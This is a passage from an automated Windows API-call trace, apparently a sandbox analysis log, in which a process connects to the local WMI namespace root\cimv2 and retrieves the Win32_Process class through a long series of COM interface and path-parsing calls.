returned 0x1 [0125.838] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1a9d1980) returned 0x0 [0125.838] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9d1980, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0125.838] WbemLocator:IClassFactory:CreateInstance (in: This=0x1a9d1980, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1a9d19a0) returned 0x0 [0125.838] WbemLocator:IUnknown:Release (This=0x1a9d1980) returned 0x0 [0125.838] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9d19a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1a9d19a0) returned 0x0 [0125.839] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9d19a0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0125.839] WbemLocator:IUnknown:AddRef (This=0x1a9d19a0) returned 0x3 [0125.839] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9d19a0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0125.839] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9d19a0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0125.839] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9d19a0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0125.839] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0125.839] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0125.839] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9d19a0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0125.839] WbemLocator:IUnknown:Release (This=0x1a9d19a0) returned 0x2 [0125.840] WbemLocator:IUnknown:Release (This=0x1a9d19a0) returned 0x1 [0125.840] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0125.840] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0125.840] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9d19a0, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1a9d19a0) returned 0x0 [0125.840] WbemLocator:IUnknown:AddRef (This=0x1a9d19a0) returned 0x3 [0125.840] WbemLocator:IUnknown:Release (This=0x1a9d19a0) returned 0x2 [0125.840] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97fc10, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0125.840] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fc10, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0125.840] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fc10, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0125.840] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1a9d19c0) returned 0x0 [0125.840] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1a9d19c0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1a952e10) returned 0x0 [0125.854] WbemLocator:IUnknown:QueryInterface (in: This=0x1a952e10, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1a9da950) returned 0x0 [0125.854] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1a9da950, pProxy=0x1a952e10, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0125.854] WbemLocator:IUnknown:Release (This=0x1a9da950) returned 0x1 [0125.854] WbemLocator:IUnknown:QueryInterface (in: This=0x1a952e10, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1a9da990) returned 0x0 [0125.854] WbemLocator:IUnknown:QueryInterface (in: This=0x1a952e10, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1a9da950) returned 0x0 [0125.854] WbemLocator:IClientSecurity:SetBlanket (This=0x1a9da950, pProxy=0x1a952e10, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0125.855] WbemLocator:IUnknown:Release (This=0x1a9da950) returned 0x2 [0125.855] WbemLocator:IUnknown:Release (This=0x1a9da990) returned 0x1 [0125.855] CoTaskMemFree (pv=0x1a9d6d10) [0125.855] WbemLocator:IUnknown:AddRef (This=0x1a952e10) returned 0x2 [0125.855] WbemLocator:IUnknown:Release (This=0x1a9d19c0) returned 0x0 [0125.855] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0125.855] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0125.856] WbemLocator:IUnknown:QueryInterface (in: This=0x1a952e10, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1a9da960) returned 0x0 [0125.856] WbemLocator:IRpcOptions:Query (in: This=0x1a9da960, pPrx=0x1a9d1a20, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0125.856] WbemLocator:IUnknown:Release (This=0x1a9da960) returned 0x2 [0125.856] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0125.856] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0125.856] WbemLocator:IUnknown:QueryInterface (in: This=0x1a952e10, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1a952e10) returned 0x0 [0125.856] WbemLocator:IUnknown:Release (This=0x1a952e10) returned 0x2 [0125.856] SysStringLen (param_1=0x0) returned 0x0 [0125.857] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97fc10, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0125.857] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fc10, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0125.857] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fc10, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0125.857] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f250, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0125.857] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f250, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0125.858] IWbemServices:GetObject (in: This=0x1a952e10, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1a9dacf0, ppCallResult=0x0) returned 0x0 [0125.861] IWbemClassObject:Get (in: This=0x1a9dacf0, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0125.862] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0125.862] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0125.862] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0125.862] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0125.862] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0125.862] IUnknown:Release (This=0x1a943398) returned 0x1 [0125.864] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1a9d19c0) returned 0x0 [0125.865] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9d19c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0125.865] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9d19c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1a97fcd0) returned 0x0 [0125.865] WbemDefPath:IUnknown:Release (This=0x1a9d19c0) returned 0x0 [0125.865] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fcd0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1a97fcd0) returned 0x0 [0125.865] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fcd0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0125.865] WbemDefPath:IUnknown:AddRef (This=0x1a97fcd0) returned 0x3 [0125.865] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fcd0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0125.865] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fcd0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0125.865] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fcd0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1a9d19e0) returned 0x0 [0125.865] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9d19e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0125.865] WbemDefPath:IUnknown:Release (This=0x1a9d19e0) returned 0x3 [0125.865] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0125.865] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0125.866] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fcd0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0125.866] WbemDefPath:IUnknown:Release (This=0x1a97fcd0) returned 0x2 [0125.866] WbemDefPath:IUnknown:Release (This=0x1a97fcd0) returned 0x1 [0125.866] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0125.866] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0125.866] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fcd0, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1a97fcd0) returned 0x0 [0125.866] WbemDefPath:IUnknown:AddRef (This=0x1a97fcd0) returned 0x3 [0125.866] WbemDefPath:IUnknown:Release (This=0x1a97fcd0) returned 0x2 [0125.866] WbemDefPath:IWbemPath:SetText (This=0x1a97fcd0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0125.866] IWbemClassObject:Get (in: This=0x1a9dacf0, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0125.866] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0125.866] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0125.866] IWbemClassObject:Get (in: This=0x1a9dacf0, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0125.866] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0125.867] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0125.867] IWbemClassObject:Get (in: This=0x1a9dacf0, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0125.867] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0125.867] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0125.867] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0125.867] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0125.867] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0125.867] IUnknown:Release (This=0x1a943398) returned 0x1 [0125.869] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1a9db0f0) returned 0x0 [0125.869] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9db0f0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0125.869] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9db0f0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1a97fd90) returned 0x0 [0125.869] WbemDefPath:IUnknown:Release (This=0x1a9db0f0) returned 0x0 [0125.869] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fd90, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1a97fd90) returned 0x0 [0125.869] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fd90, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0125.869] WbemDefPath:IUnknown:AddRef (This=0x1a97fd90) returned 0x3 [0125.870] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fd90, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0125.870] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fd90, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0125.870] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fd90, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1a9db130) returned 0x0 [0125.870] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9db130, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0125.870] WbemDefPath:IUnknown:Release (This=0x1a9db130) returned 0x3 [0125.870] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0125.870] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0125.870] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fd90, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0125.870] WbemDefPath:IUnknown:Release (This=0x1a97fd90) returned 0x2 [0125.870] WbemDefPath:IUnknown:Release (This=0x1a97fd90) returned 0x1 [0125.870] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0125.870] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0125.870] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fd90, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1a97fd90) returned 0x0 [0125.870] WbemDefPath:IUnknown:AddRef (This=0x1a97fd90) returned 0x3 [0125.870] WbemDefPath:IUnknown:Release (This=0x1a97fd90) returned 0x2 [0125.870] WbemDefPath:IWbemPath:SetText (This=0x1a97fd90, uMode=0x4, pszPath="") returned 0x0 [0125.870] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), 